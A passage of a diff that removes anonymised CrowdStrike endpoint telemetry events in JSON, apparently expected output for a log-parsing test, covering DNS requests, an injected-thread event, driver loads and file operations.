-                    "id": 600003001070039
-                }
-            },
-            "related": {
-                "hash": [
-                    "450007109"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "S-13859-13680-73630"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-13859-13680-73630"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "CNAMERecords": "0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823",
-                "ConfigStateHash": "1263130834",
-                "ContextBaseFileName": "c43bc2658",
-                "ContextProcessId": "5002051210496",
-                "ContextTimeStamp": "2025-06-01T02:27:02.996Z",
-                "DnsRequestCount": 1,
-                "DnsResponseType": "2",
-                "DualRequest": "1",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "56",
-                "EventOrigin": "1",
-                "FirstIP4Record": "216.160.83.56",
-                "IP4Records": "14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;",
-                "InterfaceIndex": 0,
-                "QueryStatus": "0",
-                "RespondingDnsServer": "89.160.20.112",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "77a6567f5ba2f4450eb816e24c5b0258f4b5",
-                "name": "76e889534419"
-            },
-            "device": {
-                "id": "98148f3ab8db6d0cad5ad44fc9f4f5c7"
-            },
-            "dns": {
-                "question": {
-                    "name": "2ca55df2a79d27d771dacfc7ae97",
-                    "type": "CDS"
-                },
-                "type": "query"
-            },
-            "event": {
-                "action": "DnsRequest",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "77a6567f5ba2f4450eb816e24c5b0258f4b5|98148f3ab8db6d0cad5ad44fc9f4f5c7|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"c43bc2658\",\"DnsResponseType\":\"2\",\"IP4Records\":\"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;\",\"ContextThreadId\":\"908409701000008\",\"aip\":\"81.2.69.142\",\"CNAMERecords\":\"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823\",\"QueryStatus\":\"0\",\"InterfaceIndex\":\"0\",\"event_platform\":\"Win\",\"DualRequest\":\"1\",\"EventOrigin\":\"1\",\"id\":\"77a6567f5ba2f4450eb816e24c5b0258f4b5\",\"EffectiveTransmissionClass\":\"3\",\"FirstIP4Record\":\"216.160.83.56\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1748744822.996\",\"ConfigStateHash\":\"1263130834\",\"ContextProcessId\":\"5002051210496\",\"DomainName\":\"2ca55df2a79d27d771dacfc7ae97\",\"RespondingDnsServer\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"DnsRequestCount\":\"1\",\"Entitlements\":\"56\",\"name\":\"76e889534419\",\"aid\":\"98148f3ab8db6d0cad5ad44fc9f4f5c7\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"RequestType\":\"59\"}",
-                "outcome": "success",
-                "type": [
-                    "protocol"
-                ]
-            },
-            "host": {
-                "id": "98148f3ab8db6d0cad5ad44fc9f4f5c7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DnsRequest",
-            "network": {
-                "protocol": "dns"
-            },
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "98148f3ab8db6d0cad5ad44fc9f4f5c7",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "5002051210496",
-                "name": "c43bc2658",
-                "thread": {
-                    "id": 908409701000008
-                }
-            },
-            "related": {
-                "hash": [
-                    "1263130834"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "2080025170",
-                "ContextProcessId": "7202603200007",
-                "ContextTimeStamp": "2025-11-12T18:10:58.579Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "InjectedThreadFlag": "85",
-                "RawThreadId": "53040",
-                "SourceThreadStartAddress": "970004800500552",
-                "TargetThreadId": "209175000090105",
-                "ThreadStartAddress": "90100003090313109007",
-                "ThreadStartContext": "60307800056300500065",
-                "UserThread": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "14a56745976c34e322ccc9af234e692acf35",
-                "name": "107f10bd7e2cf68ce87171d8f974b76"
-            },
-            "device": {
-                "id": "73204dfc79175de6cc76f2ae7674dc76"
-            },
-            "event": {
-                "action": "DocumentProgramInjectedThread",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "14a56745976c34e322ccc9af234e692acf35|73204dfc79175de6cc76f2ae7674dc76|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ThreadStartAddress\":\"90100003090313109007\",\"InjectedThreadFlag\":\"85\",\"ContextThreadId\":\"100705003833870\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"UserThread\":\"0\",\"EventOrigin\":\"1\",\"id\":\"14a56745976c34e322ccc9af234e692acf35\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DocumentProgramInjectedThread\",\"TargetThreadId\":\"209175000090105\",\"RawProcessId\":\"90010\",\"ContextTimeStamp\":\"1762971058.579\",\"ConfigStateHash\":\"2080025170\",\"ContextProcessId\":\"7202603200007\",\"ThreadStartContext\":\"60307800056300500065\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"TargetProcessId\":\"7602000306800\",\"Entitlements\":\"96\",\"name\":\"107f10bd7e2cf68ce87171d8f974b76\",\"RawThreadId\":\"53040\",\"aid\":\"73204dfc79175de6cc76f2ae7674dc76\",\"SourceThreadStartAddress\":\"970004800500552\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "access",
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "73204dfc79175de6cc76f2ae7674dc76",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DocumentProgramInjectedThread",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "73204dfc79175de6cc76f2ae7674dc76",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "7602000306800",
-                "pid": 90010,
-                "thread": {
-                    "id": 100705003833870
-                }
-            },
-            "related": {
-                "hash": [
-                    "2080025170"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticodeHashDataSHA256": "1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f",
-                "CompanyName": "5951da04edaa9198b1b04",
-                "ConfigStateHash": "4001039063",
-                "ContextProcessId": "917013009605",
-                "ContextTimeStamp": "2025-06-17T00:02:43.660Z",
-                "DriverLoadFlags": "0",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "45",
-                "FileVersion": "359b2589a3456ff7703750b83f34717d70893f",
-                "FixedFileVersion": "4a.5.36b21.78c5",
-                "ImageCheckSum": "30890",
-                "ImageEntryPoint": "60900",
-                "ImageTimeStamp": "7506201701",
-                "OriginalFilename": "c11d9e9772e",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "8f8e5d48a0828ec900552833b592f6bf3137",
-                "name": "971d60ec4961"
-            },
-            "device": {
-                "id": "eb87d6ed52531c4d56701eb0f3bdef5d"
-            },
-            "dll": {
-                "hash": {
-                    "md5": "7d60d20014499abbe980e8a3e9d3e480",
-                    "sha256": "eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a"
-                },
-                "name": "2080358.sys",
-                "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys",
-                "pe": {
-                    "original_file_name": "c11d9e9772e"
-                }
-            },
-            "event": {
-                "action": "load",
-                "category": [
-                    "driver"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "8f8e5d48a0828ec900552833b592f6bf3137|eb87d6ed52531c4d56701eb0f3bdef5d|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"AuthenticodeHashDataSHA256\":\"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f\",\"ContextThreadId\":\"85060031003208\",\"aip\":\"81.2.69.142\",\"CompanyName\":\"5951da04edaa9198b1b04\",\"event_platform\":\"Win\",\"OriginalFilename\":\"c11d9e9772e\",\"FileVersion\":\"359b2589a3456ff7703750b83f34717d70893f\",\"ImageCheckSum\":\"30890\",\"EventOrigin\":\"45\",\"id\":\"8f8e5d48a0828ec900552833b592f6bf3137\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DriverLoad\",\"ContextTimeStamp\":\"1750118563.660\",\"ConfigStateHash\":\"4001039063\",\"ContextProcessId\":\"917013009605\",\"DriverLoadFlags\":\"0\",\"ImageEntryPoint\":\"60900\",\"MD5HashData\":\"7d60d20014499abbe980e8a3e9d3e480\",\"SHA256HashData\":\"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FixedFileVersion\":\"4a.5.36b21.78c5\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\2080358.sys\",\"ImageTimeStamp\":\"7506201701\",\"Entitlements\":\"96\",\"name\":\"971d60ec4961\",\"aid\":\"eb87d6ed52531c4d56701eb0f3bdef5d\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "eb87d6ed52531c4d56701eb0f3bdef5d",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DriverLoad",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "eb87d6ed52531c4d56701eb0f3bdef5d",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "917013009605",
-                "thread": {
-                    "id": 85060031003208
-                }
-            },
-            "related": {
-                "hash": [
-                    "7d60d20014499abbe980e8a3e9d3e480",
-                    "eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a",
-                    "4001039063"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "8650000",
-                "ConfigStateHash": "2080025170",
-                "ContextBaseFileName": "4e526e33d5",
-                "ContextProcessId": "5924007850208",
-                "ContextTimeStamp": "2025-11-14T17:55:57.475Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileCategory": "4",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-12089-81901-75723-71071-93418-35753-29602",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "1",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "1a93966150b37eeb4506fb5d576569366fbe",
-                "name": "73a9d655524e1b4a5"
-            },
-            "device": {
-                "id": "8a519558e0f7e42814948bf046b8e5c8"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "1a93966150b37eeb4506fb5d576569366fbe|8a519558e0f7e42814948bf046b8e5c8|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-12089-81901-75723-71071-93418-35753-29602\",\"ContextBaseFileName\":\"4e526e33d5\",\"FileCategory\":\"4\",\"Size\":\"100488\",\"ContextThreadId\":\"118504067206871\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"1\",\"FileIdentifier\":\"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"1a93966150b37eeb4506fb5d576569366fbe\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DwgFileWritten\",\"ContextTimeStamp\":\"1763142957.475\",\"ConfigStateHash\":\"2080025170\",\"ContextProcessId\":\"5924007850208\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"8650000\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"73a9d655524e1b4a5\",\"OperationFlags\":\"0\",\"aid\":\"8a519558e0f7e42814948bf046b8e5c8\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\fef\\\\778d6b84\\\\cf0dca8d\\\\e747bc\\\\a4d268\\\\0d\\\\0caedded\\\\04e2a972\\\\0a032162\\\\1ce31250\\\\ab51ae45\\\\70acbb39\\\\bbac47ce.tmp\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39",
-                "extension": "tmp",
-                "inode": "78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286",
-                "name": "bbac47ce.tmp",
-                "path": "\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp",
-                "size": 100488,
-                "type": "file"
-            },
-            "host": {
-                "id": "8a519558e0f7e42814948bf046b8e5c8",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DwgFileWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "8a519558e0f7e42814948bf046b8e5c8",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "5924007850208",
-                "name": "4e526e33d5",
-                "thread": {
-                    "id": 118504067206871
-                }
-            },
-            "related": {
-                "hash": [
-                    "2080025170"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "S-12089-81901-75723-71071-93418-35753-29602"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-12089-81901-75723-71071-93418-35753-29602"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConHostId": "6810",
-                "ConHostProcessId": "2000300900003",
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "5040620588024",
-                "ContextTimeStamp": "2025-09-22T01:02:18.869Z",
-                "CycleTime": 380603073,
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "46",
-                "EventOrigin": "45",
-                "ImageSubsystem": "2",
-                "KernelTime": 0,
-                "MaxThreadCount": 7,
-                "SHA256HashData": "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423",
-                "UserTime": 0,
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f3b8bd9b2757d9904f845a44ff61827fa755",
-                "name": "e8d15f653d9c08b"
-            },
-            "device": {
-                "id": "3b473364ed16d25221bdb0b435aac52a"
-            },
-            "event": {
-                "action": "EndOfProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f3b8bd9b2757d9904f845a44ff61827fa755|3b473364ed16d25221bdb0b435aac52a|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ExitCode\":\"0\",\"ParentProcessId\":\"2000300900003\",\"ContextThreadId\":\"632014600074400\",\"aip\":\"216.160.83.56\",\"ConHostId\":\"6810\",\"UserSid\":\"S-78552-69545-47377\",\"CycleTime\":\"380603073\",\"event_platform\":\"Win\",\"ConHostProcessId\":\"2000300900003\",\"MaxThreadCount\":\"7\",\"EventOrigin\":\"45\",\"ImageSubsystem\":\"2\",\"id\":\"f3b8bd9b2757d9904f845a44ff61827fa755\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"KernelTime\":\"0\",\"UserTime\":\"0\",\"event_simpleName\":\"EndOfProcess\",\"RawProcessId\":\"42084\",\"ContextTimeStamp\":\"1758502938.869\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"5040620588024\",\"SHA256HashData\":\"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"8040620588024\",\"Entitlements\":\"46\",\"name\":\"e8d15f653d9c08b\",\"ProcessStartTime\":\"1745927326.269\",\"aid\":\"3b473364ed16d25221bdb0b435aac52a\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "3b473364ed16d25221bdb0b435aac52a",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "EndOfProcess",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "3b473364ed16d25221bdb0b435aac52a",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "8040620588024",
-                "exit_code": 0,
-                "hash": {
-                    "sha256": "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423"
-                },
-                "parent": {
-                    "entity_id": "2000300900003"
-                },
-                "pid": 42084,
-                "start": "2025-04-29T11:48:46.269Z",
-                "thread": {
-                    "id": 632014600074400
-                }
-            },
-            "related": {
-                "hash": [
-                    "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423",
-                    "710307050"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "S-78552-69545-47377"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-78552-69545-47377"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "9001004100012",
-                "ContextTimeStamp": "2025-08-05T18:35:25.502Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "FileObject": "0",
-                "IrpFlags": "1730",
-                "MajorFunction": "40",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b43f550a47cfaab7904ddcd4c778b2d7d2e1",
-                "name": "a1721c8914da805eb47"
-            },
-            "device": {
-                "id": "39074f37291ca6f2d189c1e110e04dfc"
-            },
-            "event": {
-                "action": "ExecutableDeleted",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "b43f550a47cfaab7904ddcd4c778b2d7d2e1|39074f37291ca6f2d189c1e110e04dfc|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ExecutableDeleted\",\"ContextTimeStamp\":\"1754418925.502\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"9001004100012\",\"IrpFlags\":\"1730\",\"ContextThreadId\":\"560346007270302\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"FileIdentifier\":\"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"MajorFunction\":\"40\",\"Entitlements\":\"96\",\"name\":\"a1721c8914da805eb47\",\"EventOrigin\":\"1\",\"OperationFlags\":\"0\",\"id\":\"b43f550a47cfaab7904ddcd4c778b2d7d2e1\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"39074f37291ca6f2d189c1e110e04dfc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\40a20853\\\\b19eb57e.exe\\\\b62491c6\\\\6ffbd0fe.exe\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6",
-                "extension": "exe",
-                "inode": "1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330",
-                "name": "6ffbd0fe.exe",
-                "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe",
-                "type": "file"
-            },
-            "host": {
-                "id": "39074f37291ca6f2d189c1e110e04dfc",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ExecutableDeleted",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "39074f37291ca6f2d189c1e110e04dfc",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "9001004100012",
-                "thread": {
-                    "id": 560346007270302
-                }
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "920132208508",
-                "ContextTimeStamp": "2025-09-21T15:01:07.856Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "56",
-                "EventOrigin": "3",
-                "TreeId": "400800208204",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f17c8a57d6ffa5f985caf45f729cb254772a",
-                "name": "e1326813e53e44b4"
-            },
-            "device": {
-                "id": "e1a82faad25f1bc57da5f8b7457d9014"
-            },
-            "event": {
-                "action": "FileDeleteInfo",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f17c8a57d6ffa5f985caf45f729cb254772a|e1a82faad25f1bc57da5f8b7457d9014|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FileDeleteInfo\",\"ContextTimeStamp\":\"1758466867.856\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"920132208508\",\"ContextThreadId\":\"549000000070475\",\"aip\":\"81.2.69.192\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TreeId\":\"400800208204\",\"Entitlements\":\"56\",\"name\":\"e1326813e53e44b4\",\"EventOrigin\":\"3\",\"id\":\"f17c8a57d6ffa5f985caf45f729cb254772a\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e1a82faad25f1bc57da5f8b7457d9014\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\9134161b\\\\b169fe25\\\\44ca.TMP\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\74d33d26\\9134161b\\b169fe25",
-                "extension": "TMP",
-                "name": "44ca.TMP",
-                "path": "\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP",
-                "type": "file"
-            },
-            "host": {
-                "id": "e1a82faad25f1bc57da5f8b7457d9014",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FileDeleteInfo",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "e1a82faad25f1bc57da5f8b7457d9014",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "920132208508",
-                "thread": {
-                    "id": 549000000070475
-                }
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "9250777000",
-                "ContextProcessId": "9011580900835",
-                "ContextTimeStamp": "2025-11-05T09:37:02.843Z",
-                "DesiredAccess": "5040660",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "3",
-                "ShareAccess": "7",
-                "Status": "0",
-                "TreeId": "250760900008",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "46a19a602437699cf4aefb060e91441ba891",
-                "name": "c4a834c02a00fb"
-            },
-            "device": {
-                "id": "ea08505420aa828a0a52a6eed3c8a196"
-            },
-            "event": {
-                "action": "FileOpenInfo",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "46a19a602437699cf4aefb060e91441ba891|ea08505420aa828a0a52a6eed3c8a196|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"Status\":\"0\",\"event_simpleName\":\"FileOpenInfo\",\"ContextTimeStamp\":\"1762335422.843\",\"ConfigStateHash\":\"9250777000\",\"ContextProcessId\":\"9011580900835\",\"ContextThreadId\":\"920000001740500\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"ShareAccess\":\"7\",\"DesiredAccess\":\"5040660\",\"TreeId\":\"250760900008\",\"Entitlements\":\"26\",\"name\":\"c4a834c02a00fb\",\"EventOrigin\":\"3\",\"id\":\"46a19a602437699cf4aefb060e91441ba891\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ea08505420aa828a0a52a6eed3c8a196\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\4e7075fa.key\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25",
-                "extension": "key",
-                "name": "4e7075fa.key",
-                "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key",
-                "type": "file"
-            },
-            "host": {
-                "id": "ea08505420aa828a0a52a6eed3c8a196",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FileOpenInfo",
-            "observer": {
-                "address": [
